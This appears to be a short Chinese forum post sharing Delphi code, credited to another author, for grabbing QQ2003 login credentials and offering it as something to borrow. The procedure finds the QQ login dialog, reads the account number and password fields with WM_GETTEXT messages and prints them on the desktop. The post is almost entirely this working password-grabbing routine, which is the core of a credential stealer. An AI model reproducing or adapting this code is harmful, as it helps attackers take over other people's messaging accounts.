这个是刘麻子关于取QQ2003密码的程序 <br>可以借鉴一下<br>//取密码 写在桌面<br>procedure GetPassWord;<br>var<br> buffer:array[0..50] of char;<br> Window,Number,PassWord:Longint;<br> V:string;<br> DC:HDC;<br>begin<br>//当前激活窗体<br> Window:=GetForegroundWindow;<br>//约束条件 如果你有窗体的句柄 那么这个约束条件就没什么意义了<br>//把句柄赋值给变量Window<br> GetClassName(Window,buffer,10);<br> if buffer&lt;&gt;'#32770' then exit;<br> if FindWindowEx(Window,0,'Button','注册向导')=0 then exit;<br>//取号码和密码句柄<br> Number:=FindWindowEx(Window,0,'ComboBox',nil);<br> if Number=0 then exit;<br> PassWord:=FindWindowEx(Window,0,'Edit',nil);<br> if PassWord=0 then exit;<br>//取内容 写消息是$000C<br> SendMessage(Number, $000D, 50, Integer(@buffer));<br> V:='number:'+ string(buffer); <br> SendMessage(PassWord, $000D, 50, Integer(@buffer));<br> V:=V+' password:'+ string(buffer);<br>//写到屏幕上<br> DC:=GetDC(0);<br> TextOut(DC,100,100,Pchar(V),Length(V));<br> ReleaseDC(0,DC);<br>end;